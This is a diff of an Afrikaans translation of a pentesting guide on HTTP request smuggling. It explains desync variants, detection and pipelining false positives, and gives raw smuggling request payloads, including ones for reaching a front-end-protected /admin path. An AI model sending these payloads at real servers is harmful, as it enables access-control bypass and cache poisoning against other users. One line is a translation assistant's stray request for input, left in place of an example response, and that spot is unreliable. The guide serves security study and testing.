+HTTP request smuggling-aanvalle word vervaardig deur ambigue requests te stuur wat die diskrepansies uitbuit in hoe front-end en back-end servers die `Content-Length` (CL) en `Transfer-Encoding` (TE) headers interpreteer. Hierdie aanvalle kan in verskillende vorme voorkom, hoofsaaklik as **CL.TE**, **TE.CL**, en **TE.TE**. Elke tipe verteenwoordig 'n unieke kombinasie van hoe die front-end en back-end servers hierdie headers prioritiseer. Die kwesbaarhede ontstaan omdat die servers dieselfde request verskillend verwerk, wat tot onvoorsiene en moontlik kwaadwillige uitkomste kan lei.
 
-### Basiese Voorbeelde van Kwetsbaarheidstipes
+### Basiese Voorbeelde van Kwesbaarheidstipes
 
 ![https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../images/EKi5edAUUAAIPIK.jpg)
 
 > [!TIP]
-> By die vorige tabel moet jy die TE.0 technique byvoeg, soos die CL.0 technique maar met Transfer-Encoding.
+> By die vorige tabel moet jy die TE.0 tegniek byvoeg, soortgelyk aan die CL.0 tegniek maar gebruik Transfer-Encoding.
 
 #### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
 
@@ -56,10 +72,10 @@ HTTP request smuggling-aanvalle word geskep deur ambigue requests te stuur wat d
 - **Back-End (TE):** Verwerk die request gebaseer op die `Transfer-Encoding` header.
 - **Attack Scenario:**
 
-- Die attacker stuur 'n request waar die waarde van die `Content-Length` header nie ooreenstem met die werklike inhouds-lengte nie.
+- Die attacker stuur 'n request waar die waarde van die `Content-Length` header nie met die werklike inhouds-lengte ooreenstem nie.
-- Die front-end server stuur die hele request na die back-end, gebaseer op die `Content-Length` waarde.
+- Die front-end server stuur die hele request na die back-end op grond van die `Content-Length` waarde.
-- Die back-end server verwerk die request as chunked weens die `Transfer-Encoding: chunked` header, en interpreteer die oorblywende data as 'n aparte, opvolgende request.
+- Die back-end server verwerk die request as chunked weens die `Transfer-Encoding: chunked` header en interpreteer die oorblywende data as 'n aparte, daaropvolgende request.
-- **Example:**
+- **Voorbeeld:**
 
 ```
 POST / HTTP/1.1
@@ -80,10 +96,10 @@ Foo: x
 - **Back-End (CL):** Verwerk die request gebaseer op die `Content-Length` header.
 - **Attack Scenario:**
 
-- Die attacker stuur 'n chunked request waar die chunk-grootte (`7b`) en die werklike inhoudslengte (`Content-Length: 4`) nie ooreenstem nie.
+- Die attacker stuur 'n chunked request waar die chunk-grootte (`7b`) en die werklike content length (`Content-Length: 4`) nie ooreenstem nie.
 - Die front-end server, wat `Transfer-Encoding` eerbiedig, stuur die hele request na die back-end.
-- Die back-end server, wat `Content-Length` eerbiedig, verwerk slegs die aanvanklike deel van die request (`7b` bytes), wat die res laat as deel van 'n onverwagte daaropvolgende request.
+- Die back-end server, wat net `Content-Length` respekteer, verwerk slegs die aanvanklike deel van die request (`7b` bytes), en laat die res deel word van 'n onbedoelde daaropvolgende request.
-- **Example:**
+- **Voorbeeld:**
 
 ```
 POST / HTTP/1.1
@@ -108,10 +124,10 @@ x=
 - **Servers:** Albei ondersteun `Transfer-Encoding`, maar een kan mislei word om dit te ignoreer deur obfuskasie.
 - **Attack Scenario:**
 
-- Die attacker stuur 'n request met obfuskated `Transfer-Encoding` headers.
+- Die attacker stuur 'n request met obfuskteerde `Transfer-Encoding` headers.
 - Afhangende van watter server (front-end of back-end) die obfuskasie nie herken nie, kan 'n CL.TE of TE.CL kwesbaarheid uitgebuit word.
-- Die onverwerkte deel van die request, soos deur een van die servers gesien, word deel van 'n opvolgende request en lei tot smuggling.
+- Die onverwerkte deel van die request, soos gesien deur een van die servers, word deel van 'n daaropvolgende request, wat tot smuggling lei.
-- **Example:**
+- **Voorbeeld:**
 
 ```
 POST / HTTP/1.1
@@ -132,9 +148,9 @@ Transfer-Encoding
 
 #### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)**
 
-- Albei servers verwerk die request slegs gebaseer op die `Content-Length` header.
+- Albei servers verwerk die request uitsluitlik gebaseer op die `Content-Length` header.
-- Hierdie scenario lei gewoonlik nie tot smuggling nie, aangesien daar belyning is in hoe beide servers die request-lengte interpreteer.
+- Hierdie scenario lei gewoonlik nie tot smuggling nie, aangesien daar belyning is in hoe beide servers die lengte van die request interpreteer.
-- **Example:**
+- **Voorbeeld:**
 
 ```
 POST / HTTP/1.1
@@ -147,9 +163,9 @@ Normal Request
 
 #### **CL.0 Scenario**
 
-- Verwys na scenario's waar die `Content-Length` header teenwoordig is en 'n waarde anders as nul het, wat aandui dat die request-body inhoud het. Die back-end ignoreer die `Content-Length` header (wat as 0 behandel word), maar die front-end parse dit.
+- Verwys na scenarios waar die `Content-Length` header teenwoordig is en 'n waarde anders as nul het, wat aandui dat die request body inhoud het. Die back-end ignoreer die `Content-Length` header (wat as 0 behandel word), maar die front-end parse dit.
-- Dit is baie belangrik in die begrip en samestelling van smuggling-aanvalle, aangesien dit beïnvloed hoe servers die einde van 'n request bepaal.
+- Dit is belangrik vir die begrip en vervaardiging van smuggling-aanvalle, aangesien dit beïnvloed hoe servers die einde van 'n request bepaal.
-- **Example:**
+- **Voorbeeld:**
 
 ```
 POST / HTTP/1.1
@@ -162,9 +178,9 @@ Non-Empty Body
 
 #### TE.0 Scenario
 
-- Soos die vorige een maar met TE.
+- Soortgelyk aan die vorige, maar gebruik TE.
-- Technique [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
+- Tegniek [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
-- **Example**:
+- **Voorbeeld**:
 ```
 OPTIONS / HTTP/1.1
 Host: {HOST}
@@ -182,19 +198,43 @@ x: X
 EMPTY_LINE_HERE
 EMPTY_LINE_HERE
 ```
-#### Die webbediener breek
+#### `0.CL` Situasie
 
-Hierdie tegniek is ook nuttig in scenario's waarin dit moontlik is om **break a web server while reading the initial HTTP data** maar **without closing the connection**. Op hierdie manier sal die **body** van die HTTP request beskou word as die **next HTTP request**.
+In 'n `0.CL` situasie word 'n versoek gestuur met 'n Content-Length soos:
+```
+GET /Logon HTTP/1.1
+Host: <redacted>
+Content-Length:
+7
 
-Byvoorbeeld, soos verduidelik in [**this writeup**](https://mizu.re/post/twisty-python), in Werkzeug was dit moontlik om sommige **Unicode** karakters te stuur wat die bediener laat **break**. As die HTTP-verbinding egter geskep is met die header **`Connection: keep-alive`**, sal die body van die request nie gelees word nie en sal die verbinding steeds oop bly, sodat die **body** van die request as die **next HTTP request** behandel sal word.
+GET /404 HTTP/1.1
+X: Y
+```
+En die front-end neem nie die `Content-Length` in ag nie, so dit stuur slegs die eerste request na die backend (tot die 7 in die voorbeeld). Die backend sien egter die `Content-Length` en wag vir 'n body wat nooit aankom nie, omdat die front-end reeds op die response wag.
 
-#### Dwing via hop-by-hop headers
+As daar egter 'n request is wat moontlik na die backend gestuur kan word en waarop geantwoord word voordat die body van die request ontvang is, sal hierdie deadlock nie voorkom nie. In IIS gebeur dit byvoorbeeld wanneer versoeke na verbode name soos `/con` gestuur word (kyk na die [documentation](https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file)), op hierdie manier sal die aanvanklike request direk beantwoord word en die tweede request sal die request van die victim bevat soos:
+```
+GET / HTTP/1.1
+X: yGET /victim HTTP/1.1
+Host: <redacted>
+```
+Dit is nuttig om 'n desync te veroorsaak, maar dit het tot nou toe geen uitwerking gehad nie.
 
-Deur hop-by-hop headers te misbruik kan jy die proxy aanwys om **delete the header Content-Length or Transfer-Encoding so a HTTP request smuggling is possible to abuse**.
+Die pos bied egter 'n oplossing hiervoor deur 'n **[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)** om te skakel.
+
+#### Breek die webbediener
+
+Hierdie tegniek is ook nuttig in scenario's waar dit moontlik is om 'n webbediener te laat breek terwyl die aanvanklike HTTP-data gelees word, maar sonder om die verbinding te sluit. Op hierdie manier sal die **body** van die HTTP request as die **next HTTP request** beskou word.
+
+Byvoorbeeld, soos uitgewerk in [**this writeup**](https://mizu.re/post/twisty-python), in Werkzeug was dit moontlik om sekere **Unicode**-karakters te stuur wat die bediener laat **break**. As die HTTP-verbinding egter geskep is met die header **`Connection: keep-alive`**, sal die body van die request nie gelees word nie en sal die verbinding steeds oop bly, sodat die **body** van die request as die **next HTTP request** behandel sal word.
+
+#### Forsering via hop-by-hop headers
+
+Deur hop-by-hop headers te misbruik kan jy die proxy aanwys om die header Content-Length of Transfer-Encoding te **verwyder sodat 'n HTTP request smuggling misbruik moontlik is**.
 ```
 Connection: Content-Length
 ```
-For **more information about hop-by-hop headers** visit:
+For **meer inligting oor hop-by-hop headers** besoek:
 
 
 {{#ref}}
@@ -203,13 +243,13 @@ For **more information about hop-by-hop headers** visit:
 
 ## Opsporing van HTTP Request Smuggling
 
-Die identifisering van HTTP request smuggling-kwesbaarhede kan dikwels bereik word deur timing-tegnieke, wat staatmaak op die waarneming van hoe lank dit neem vir die bediener om op gemanipuleerde versoeke te reageer. Hierdie tegnieke is veral nuttig om CL.TE en TE.CL kwesbaarhede op te spoor. Benewens hierdie metodes is daar ander strategieë en gereedskap wat gebruik kan word om sulke kwesbaarhede te vind:
+Die identifisering van HTTP request smuggling-kwesbaarhede kan dikwels bewerkstellig word met timing-tegnieke, wat staatmaak op die waarneming van hoe lank dit neem vir die bediener om op gemanipuleerde versoeke te reageer. Hierdie tegnieke is veral nuttig om CL.TE en TE.CL kwesbaarhede op te spoor. Benewens hierdie metodes bestaan daar ander strategieë en gereedskap wat gebruik kan word om sulke kwesbaarhede op te spoor:
 
 ### Opsporing van CL.TE-kwesbaarhede met timing-tegnieke
 
 - **Metode:**
 
-- Stuur 'n versoek wat, indien die toepassing kwesbaar is, die back-end server sal veroorsaak om vir addisionele data te wag.
+- Stuur 'n versoek wat, as die toepassing kwesbaar is, die back-end-bediener sal dwing om op addisionele data te wag.
 - **Voorbeeld:**
 
 ```
@@ -225,18 +265,18 @@ A
 ```
 
 - **Waarneming:**
-- Die front-end server verwerk die versoek gebaseer op `Content-Length` en kap die boodskap voortydig af.
+- Die front-end-bediener verwerk die versoek gebaseer op `Content-Length` en sny die boodskap te vroeg af.
-- Die back-end server, wat 'n chunked boodskap verwag, wag vir die volgende chunk wat nooit aankom nie, wat 'n vertraging veroorsaak.
+- Die back-end-bediener, wat 'n chunked boodskap verwag, wag vir die volgende chunk wat nooit aankom nie, wat 'n vertraging veroorsaak.
 
-- **Aanwysers:**
+- **Indikators:**
-- Time-outs of lang vertragings in die reaksie.
+- Timeouts of lang vertraginge in die reaksie.
-- Ontvang 'n 400 Bad Request fout vanaf die back-end server, soms met gedetailleerde bedienerinligting.
+- Ontvangs van 'n 400 Bad Request fout vanaf die back-end-bediener, soms met gedetailleerde bedienerinligting.
 
 ### Opsporing van TE.CL-kwesbaarhede met timing-tegnieke
 
 - **Metode:**
 
-- Stuur 'n versoek wat, indien die toepassing kwesbaar is, die back-end server sal veroorsaak om vir addisionele data te wag.
+- Stuur 'n versoek wat, as die toepassing kwesbaar is, die back-end-bediener sal dwing om op addisionele data te wag.
 - **Voorbeeld:**
 
 ```
@@ -251,41 +291,49 @@ X
 ```
 
 - **Waarneming:**
-- Die front-end server verwerk die versoek gebaseer op `Transfer-Encoding` en stuur die hele boodskap vooruit.
+- Die front-end-bediener verwerk die versoek gebaseer op `Transfer-Encoding` en stuur die volledige boodskap deur.
-- Die back-end server, wat 'n boodskap gebaseer op `Content-Length` verwag, wag vir addisionele data wat nooit aankom nie, wat 'n vertraging veroorsaak.
+- Die back-end-bediener, wat 'n boodskap gebaseer op `Content-Length` verwag, wag vir addisionele data wat nooit aankom nie, wat 'n vertraging veroorsaak.
 
-### Ander metodes om kwesbaarhede te vind
+### Ander metodes om kwesbaarhede op te spoor
 
 - **Differential Response Analysis:**
-- Stuur effens veranderde weergawes van 'n versoek en kyk of die bedienerreaksies onverwags verskil — dit dui op 'n parsing-onderskeid.
+- Stuur liggies verskillende weergawes van 'n versoek en let of die bedienerreaksies op 'n ongewone wyse verskil, wat 'n parsingsverskil aandui.
-- **Using Automated Tools:**
+- **Gebruik van outomatiese gereedskap:**
-- Tools soos Burp Suite se 'HTTP Request Smuggler' extension kan outomaties vir hierdie kwesbaarhede toets deur verskeie vorme van dubbelsinnige versoeke te stuur en die reaksies te ontleed.
+- Gereedskap soos Burp Suite se 'HTTP Request Smuggler' extension kan outomaties toets vir hierdie kwesbaarhede deur verskeie vorme van dubbelbetydige versoeke te stuur en die reaksies te analiseer.
-- **Content-Length Variance Tests:**
+- **Content-Length Variansetoetse:**
-- Stuur versoeke met wisselende `Content-Length` waardes wat nie ooreenstem met die werklike inhoudslengte nie en kyk hoe die bediener sulke wanpassings hanteer.
+- Stuur versoeke met wisselende `Content-Length`-waardes wat nie in lyn is met die werklike inhoudslengte nie en kyk hoe die bediener sulke wanpassing hanteer.
-- **Transfer-Encoding Variance Tests:**
+- **Transfer-Encoding Variansetoetse:**
-- Stuur versoeke met verhulde of misvormde `Transfer-Encoding` headers en monitor hoe uiteenlopend die front-end en back-end servers op sulke manipulasies reageer.
+- Stuur versoeke met geobfusceerde of foutief gevormde `Transfer-Encoding` headers en monitor hoe die front-end en back-end bedieners verskillend op sulke manipulasies reageer.
+
+### The `Expect: 100-continue` header
+
+Kyk hoe hierdie header kan help om 'n http desync uit te buit in:
+
+{{#ref}}
+../special-http-headers.md
+{{#endref}}
 
 ### HTTP Request Smuggling Kwesbaarheidstoetsing
 
-Nadat jy die doeltreffendheid van timing-tegnieke bevestig het, is dit noodsaaklik om te verifieer of kliëntversoeke gemanipuleer kan word. 'n Eenvoudige metode is om te probeer om jou versoeke te vergiftig; byvoorbeeld om 'n versoek na `/` 'n 404-response te laat gee. Die `CL.TE` en `TE.CL` voorbeelde wat vroeër in [Basic Examples](#basic-examples) bespreek is, demonstreer hoe om 'n kliënt se versoek te vergiftig om 'n 404-response uit te lok, ondanks dat die kliënt probeer om 'n ander hulpbron te bereik.
+Nadat jy die doeltreffendheid van timing-tegnieke bevestig het, is dit noodsaaklik om te verifieer of kliëntversoeke gemanipuleer kan word. 'n Eenvoudige metode is om te probeer om jou versoeke te poison, byvoorbeeld om 'n versoek na `/` 'n 404 reaksie te laat lewer. Die `CL.TE` en `TE.CL` voorbeelde wat voorheen in [Basic Examples](#basic-examples) bespreek is, demonstreer hoe om 'n kliënt se versoek te poison sodat dit 'n 404 reaksie uitlok, ondanks dat die kliënt probeer om 'n ander hulpbron te bereik.
 
 **Belangrike oorwegings**
 
-Wanneer jy vir request smuggling-kwesbaarhede toets deur ander versoeke te ontwrig, hou die volgende in gedagte:
+Wanneer jy toets vir request smuggling-kwesbaarhede deur met ander versoeke te inmeng, hou die volgende in gedagte:
 
-- **Afsonderlike netwerkverbindings:** Die "attack" en "normal" versoeke moet oor aparte netwerkverbindings gestuur word. Om dieselfde verbinding vir albei te gebruik, bevestig nie die teenwoordigheid van die kwesbaarheid nie.
+- **Afsonderlike netwerkverbindings:** Die "attack" en "normal" versoeke moet oor aparte netwerkverbindings gestuur word. Om dieselfde verbinding vir albei te gebruik val nie as bewys dat die kwesbaarheid bestaan nie.
-- **Konstante URL en parameters:** Streef daarna om identiese URLs en parametername vir albei versoeke te gebruik. Moderne toepassings router versoeke dikwels na spesifieke back-end servers gebaseer op URL en parameters. Om dit te laat ooreenstem verhoog die waarskynlikheid dat albei versoeke deur dieselfde bediener verwerk word, 'n voorvereiste vir 'n successful attack.
+- **Konsekwente URL en parameters:** Mik om identiese URLs en parametername vir albei versoeke te gebruik. Moderne toepassings stuur versoeke dikwels na spesifieke back-end-bedieners gebaseer op URL en parameters. Om dit te laat ooreenstem verhoog die waarskynlikheid dat beide versoeke deur dieselfde bediener verwerk word, wat 'n voorvereiste is vir 'n suksesvolle attack.
-- **Timing en wedren-toestande:** Die "normal" versoek, bedoel om interferensie van die "attack" versoek te detecteer, wed teen ander gelyktydige toepassingsversoeke. Stuur dus die "normal" versoek onmiddellik ná die "attack" versoek. Besige toepassings mag meerdere probeerslae vereis vir 'n beslissende bevestiging.
+- **Tyding en wedstrydtoestande:** Die "normal" versoek, bedoel om inmenging vanaf die "attack" versoek te detecteer, kompeteer met ander gelyktydige toepassingsversoeke. Daarom, stuur die "normal" versoek onmiddellik na die "attack" versoek. Besige toepassings mag meervoudige pogings vereis vir 'n afdoende bevestiging van 'n kwesbaarheid.
-- **Load Balancing-uitdagings:** Front-end servers wat as load balancers optree kan versoeke oor verskeie back-end stelsels versprei. As die "attack" en "normal" versoeke op verskillende stelsels eindig, sal die attack nie slaag nie. Hierdie load balancing-aspek mag verskeie pogings vereis om 'n kwesbaarheid te bevestig.
+- **Load balancing-uitdagings:** Front-end bedieners wat as load balancers optree kan versoeke oor verskeie back-end-stelsels versprei. As die "attack" en "normal" versoeke op verskillende stelsels uitkom, sal die attack nie slaag nie. Hierdie aspek van load balancing mag verskeie pogings vereis om 'n kwesbaarheid te bevestig.
-- **Onbedoelde gebruikersimpak:** As jou attack per ongeluk 'n ander gebruiker se versoek (@ nie die "normal" versoek wat jy vir detectie gestuur het nie) raak, dui dit aan dat jou attack 'n ander toepassingsgebruiker beïnvloed het. Aanhoudende toetse kan ander gebruikers ontwrig, dus gaan versigtig te werk.
+- **Onbedoelde gebruikersimpak:** As jou attack per ongeluk die versoek van 'n ander gebruiker (nie die "normal" versoek wat jy vir detectie gestuur het nie) affekteer, dui dit daarop dat jou attack 'n ander toepassinggebruiker beïnvloed het. Voortgesette toetsing kan ander gebruikers ontwrig, wat 'n versigtige benadering vereis.
 
-## Onderskei HTTP/1.1 pipelining-artefakte vs genuine request smuggling
+## Onderskeiding tussen HTTP/1.1 pipelining-artefakte en werklike request smuggling
 
-Verbindingshergebruik (keep-alive) en pipelining kan maklik illusies van "smuggling" produseer in testing tools wat veelvuldige versoeke op dieselfde sok stuur. Leer om onskadelike kliënt-kant-artefakte van werklike bediener-kant desync te onderskei.
+Verbindingshergebruik (keep-alive) en pipelining kan maklik illusies van "smuggling" veroorsaak in toetsgereedskap wat verskeie versoeke op dieselfde socket stuur. Leer om onskadelike kliëntkant-artefakte van werklike bedienerkant-desync te skei.
 
 ### Waarom pipelining klassieke vals-positiewe veroorsaak
 
-HTTP/1.1 hergebruik 'n enkele TCP/TLS-verbinding en koppel versoeke en reaksies saam op dieselfde stroom. In pipelining stuur die kliënt meerdere versoeke agtereenvolgens en staatmaak op in-orde reaksies. 'n Algemene vals-positief is om 'n misvormde CL.0-styl payload twee keer op 'n enkele verbinding te herstuur:
+HTTP/1.1 hergebruik 'n enkele TCP/TLS-verbinding en koppel versoeke en reaksies op dieselfde stroom. In pipelining stuur die kliënt verskeie versoeke agtereenvolgens en staatmaak op reaksies in dieselfde volgorde. 'n Algemene vals-positief is om 'n foutief gevormde CL.0-styl payload twee keer op 'n enkele verbinding te stuur:
 ```
 POST / HTTP/1.1
 Host: hackxor.net
@@ -294,7 +342,7 @@ Content_Length: 47
 GET /robots.txt HTTP/1.1
 X: Y
 ```
-I don't have the contents of src/pentesting-web/http-request-smuggling/README.md. Please paste the README.md text you want translated to Afrikaans (I'll keep markdown, tags, links and code unchanged and follow your guidance).
+Stuur asseblief die inhoud van src/pentesting-web/http-request-smuggling/README.md wat jy vertaal wil hê.
 ```
 HTTP/1.1 200 OK
 Content-Type: text/html
@@ -308,7 +356,7 @@ Content-Type: text/plain
 User-agent: *
 Disallow: /settings
 ```
-As die server die misvormde `Content_Length` geïgnoreer het, is daar geen FE↔BE desync nie. Met reuse het jou client eintlik hierdie byte-stream gestuur, wat die server as twee onafhanklike requests ontleed het:
+As die server die verkeerd gevormde `Content_Length` geïgnoreer het, is daar geen FE↔BE desync nie. Met hergebruik het jou client eintlik hierdie byte-stream gestuur, wat die server as twee onafhanklike requests ontleed het:
 ```
 POST / HTTP/1.1
 Host: hackxor.net
@@ -322,41 +370,41 @@ Content_Length: 47
 GET /robots.txt HTTP/1.1
 X: Y
 ```
-Impact: none. Jy het net jou kliënt van die server-framing desinkroniseer.
+Impact: geen. Jy het net jou kliënt van die bedienerframing af desinkroniseer.
 
 > [!TIP]
 > Burp modules that depend on reuse/pipelining: Turbo Intruder with `requestsPerConnection>1`, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".
 
 ### Litmus-toetse: pipelining of werklike desync?
 
-1. Disable reuse and re-test
+1. Skakel hergebruik af en toets weer
 - In Burp Intruder/Repeater, skakel HTTP/1 reuse af en vermy "Send group in sequence".
 - In Turbo Intruder, stel `requestsPerConnection=1` en `pipeline=False`.
-- As die gedrag verdwyn, was dit waarskynlik client-side pipelining, tensy jy te doen het met connection-locked/stateful targets of client-side desync.
+- As die gedrag verdwyn, was dit waarskynlik client-side pipelining, tensy jy te doen het met connection-locked/stateful teikens of client-side desync.
 2. HTTP/2 nested-response check
-- Stuur 'n HTTP/2 request. As die response body 'n volledige geneste HTTP/1 response bevat, het jy 'n backend parsing/desync fout bewys in plaas van 'n suiwer client-artifact.
+- Stuur 'n HTTP/2 versoek. As die response body 'n volledige nested HTTP/1 response bevat, het jy 'n backend parsing/desync-bug bewys in plaas van 'n suiwer client-artefak.
-3. Partial-requests probe for connection-locked front-ends
+3. Partial-requests probe vir connection-locked front-ends
-- Sommige FEs hergebruik die upstream BE-verbinding slegs as die kliënt hullene hergebruik het. Gebruik partial-requests om FE-gedrag op te spoor wat client-reuse naboots.
+- Sommige FEs hergebruik slegs die upstream BE-verbinding as die kliënt hullene hergebruik het. Gebruik partial-requests om FE-gedrag te ontdek wat client-hergebruik weerspieël.
 - Sien PortSwigger "Browser‑Powered Desync Attacks" vir die connection-locked tegniek.
-4. State probes
+4. Staat-probes
-- Kyk vir verskille tussen die eerste en daaropvolgende requests op dieselfde TCP-verbinding (first-request routing/validation).
+- Kyk vir verskille tussen eerste- en daaropvolgende-versoeke op dieselfde TCP-verbinding (first-request routing/validation).
 - Burp "HTTP Request Smuggler" sluit 'n connection‑state probe in wat dit outomatiseer.
 5. Visualiseer die wire
-- Gebruik die Burp "HTTP Hacker" extension om concatenation en message framing direk te inspekteer terwyl jy met reuse en partial requests eksperimenteer.
+- Gebruik die Burp "HTTP Hacker" extension om concatenation en message framing direk te inspekteer terwyl jy met hergebruik en partial requests eksperimenteer.
 
 ### Connection‑locked request smuggling (reuse-required)
 
-Sommige front-ends hergebruik die upstream verbinding slegs wanneer die kliënt hullene hergebruik. Werklike smuggling bestaan, maar dit is voorwaardelik aan client-side reuse. Om te onderskei en impak te bewys:
+Sommige front-ends hergebruik slegs die upstream verbinding wanneer die kliënt hullene hergebruik. Werklike smuggling bestaan, maar is voorwaardelik op kliënt-side hergebruik. Om te onderskei en impak te bewys:
 - Bewys die server-side fout
 - Gebruik die HTTP/2 nested-response check, of
-- Gebruik partial-requests om te toon dat die FE slegs upstream hergebruik wanneer die kliënt dit doen.
+- Gebruik partial-requests om te wys dat die FE slegs upstream hergebruik wanneer die kliënt dit doen.
-- Wys werklike impak selfs as direkte cross-user socket misbruik geblokkeer is:
+- Toon werklike impak selfs as direkte cross-user socket misbruik geblokkeer is:
-- Cache poisoning: vergiftig gedeelde caches via die desync sodat responses ander gebruikers raak.
+- Cache poisoning: poison shared caches via die desync sodat responses ander gebruikers beïnvloed.
-- Internal header disclosure: reflekteer FE-geïnjekteerde headers (bv. auth/trust headers) en pivot na auth bypass.
+- Internal header disclosure: reflekteer FE-ingesette headers (bv. auth/trust headers) en pivot na auth bypass.
-- Bypass FE controls: smuggle beperkte paths/methods verby die front-end.
+- Bypass FE controls: smuggle restricted paths/methods verby die front-end.
 - Host-header abuse: kombineer met host routing quirks om na interne vhosts te pivot.
-- Operator workflow
+- Operator werkvloei
-- Reproduceer met beheerde reuse (Turbo Intruder `requestsPerConnection=2`, or Burp Repeater tab group → "Send group in sequence (single connection)").
+- Reproduceer met beheerde hergebruik (Turbo Intruder `requestsPerConnection=2`, of Burp Repeater tab group → "Send group in sequence (single connection)").
 - Ketting dan na cache/header-leak/control-bypass primitives en demonstreer cross-user of authorization impak.
 
 > See also connection‑state attacks, which are closely related but not technically smuggling:
@@ -367,9 +415,9 @@ Sommige front-ends hergebruik die upstream verbinding slegs wanneer die kliënt
 
 ### Client‑side desync constraints
 
-As jy browser-powered/client-side desync teiken, moet die kwaadwillige request deur 'n blaaier cross-origin gestuur kan word. Header obfuscation trucs gaan nie werk nie. Fokus op primitives bereikbaar via navigation/fetch, en pivot dan na cache poisoning, header disclosure, of front-end control bypass waar downstream-komponente responses reflekteer of cache.
+As jy browser-powered/client-side desync teiken, moet die kwaadwillige versoek deur 'n blaaier cross-origin gestuur kan word. Header obfuscation truuks sal nie werk nie. Fokus op primitives wat via navigation/fetch bereikbaar is, en pivot dan na cache poisoning, header disclosure, of front-end control bypass waar downstream komponente responses reflekteer of cache.
 
-For background and end-to-end workflows:
+Vir agtergrond en end-to-end werkvloei:
 
 {{#ref}}
 browser-http-request-smuggling.md
@@ -377,23 +425,23 @@ browser-http-request-smuggling.md
 
 ### Tooling to help decide
 
-- HTTP Hacker (Burp BApp Store): beklemtoon low-level HTTP gedrag en socket concatenation.
+- HTTP Hacker (Burp BApp Store): openbaar laag-vlak HTTP-gedrag en socket concatenation.
 - "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
 - Turbo Intruder: presiese beheer oor connection reuse via `requestsPerConnection`.
-- Burp HTTP Request Smuggler: sluit 'n connection‑state probe in om first‑request routing/validation op te spoor.
+- Burp HTTP Request Smuggler: sluit 'n connection‑state probe in om first‑request routing/validation te herken.
 
 > [!NOTE]
-> Beskou reuse-only effekte as nie-probleme tensy jy server-side desync kan bewys en konkrete impak kan heg (poisoned cache artifact, leaked internal header wat privilege bypass moontlik maak, bypassed FE control, ens.).
+> Behandel reuse-only effects as non-issues tensy jy server-side desync kan bewys en konkrete impak kan aanheg (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, ens.).
 
-## Abusing HTTP Request Smuggling
+## Misbruik van HTTP Request Smuggling
 
-### Om Front-End sekuriteit te omseil via HTTP Request Smuggling
+### Omseiling van front-end sekuriteit via HTTP Request Smuggling
 
-Soms afdwing front-end proxies sekuriteitsmaatreëls en ondersoek inkomende requests noukeurig. Hierdie maatreëls kan egter omseil word deur HTTP Request Smuggling te misbruik, wat ongemagtigde toegang tot beperkte endpoints moontlik maak. Byvoorbeeld, toegang tot `/admin` mag ekstern verbied wees, met die front-end proxy wat sulke pogings aktief blokkeer. Nietemin mag hierdie proxy nalaat om ingeslote requests binne 'n gesmugglede HTTP request te inspekteer, wat 'n leemte laat vir die omseiling van hierdie beperkings.
+Soms dwing front-end proxies sekuriteitsmaatreëls af en ondersoek inkomende versoeke. Hierdie maatreëls kan egter omseil word deur HTTP Request Smuggling te benut, wat onbevoegde toegang tot beperkte eindpunte moontlik maak. Byvoorbeeld, toegang tot `/admin` mag eksterne toegang verhoed word omdat die front-end proxy sulke pogings aktief blokkeer. Nietemin kan hierdie proxy versuim om ingebedde versoeke binne 'n smuggled HTTP-versoek te inspekteer, wat 'n oopbedreiging vir omseiling van hierdie beperkings skep.
 
-Oorweeg die volgende voorbeelde wat illustreer hoe HTTP Request Smuggling gebruik kan word om front-end sekuriteitskontroles te omseil, spesifiek gerig op die `/admin` pad wat gewoonlik deur die front-end proxy beskerm word:
+Oorweeg die volgende voorbeelde wat illustreer hoe HTTP Request Smuggling gebruik kan word om front-end sekuriteitskontroles te omseil, spesifiek die teiken van die `/admin` pad wat tipies deur die front-end proxy beskerm word:
 
-**CL.TE Voorbeeld**
+**CL.TE Example**
 ```
 POST / HTTP/1.1
 Host: [redacted].web-security-academy.net
@@ -410,9 +458,9 @@ Content-Length: 10
 
 x=
 ```
-In die CL.TE attack word die `Content-Length` header benut vir die aanvanklike versoek, terwyl die daaropvolgende ingeslote versoek die `Transfer-Encoding: chunked` header gebruik. Die front-end proxy verwerk die aanvanklike `POST` versoek maar slaag nie daarin om die ingeslote `GET /admin` versoek te inspekteer nie, wat ongemagtigde toegang tot die `/admin` pad toelaat.
+In die CL.TE-aanval word die `Content-Length`-header aangewend vir die aanvanklike versoek, terwyl die daaropvolgende ingebedde versoek die `Transfer-Encoding: chunked`-header gebruik. Die front-end proxy verwerk die aanvanklike `POST`-versoek maar slaag nie daarin om die ingebedde `GET /admin`-versoek te inspekteer nie, wat onbevoegde toegang tot die `/admin`-pad toelaat.
 
-**TE.CL Example**
+**TE.CL Voorbeeld**
 ```
 POST / HTTP/1.1
 Host: [redacted].web-security-academy.net
@@ -428,13 +476,13 @@ a=x
 0
 
 ```
-Omgekeerd, in die TE.CL-aanval gebruik die aanvanklike `POST`-versoek `Transfer-Encoding: chunked`, en die daaropvolgende ingeslote versoek word verwerk op grond van die `Content-Length`-header. Soortgelyk aan die CL.TE-aanval, ignoreer die front-end proxy die gesmokkelde `GET /admin`-versoek, wat per ongeluk toegang tot die beperkte `/admin`-pad verleen.
+Andersom, in die TE.CL-aanval gebruik die aanvanklike `POST`-versoek `Transfer-Encoding: chunked`, en die daaropvolgende ingeslote versoek word verwerk op grond van die `Content-Length`-kop. Soortgelyk aan die CL.TE-aanval sien die front-end proxy die gesmokkelde `GET /admin`-versoek oor, wat onbedoeld toegang tot die beperkte `/admin`-pad verleen.
 
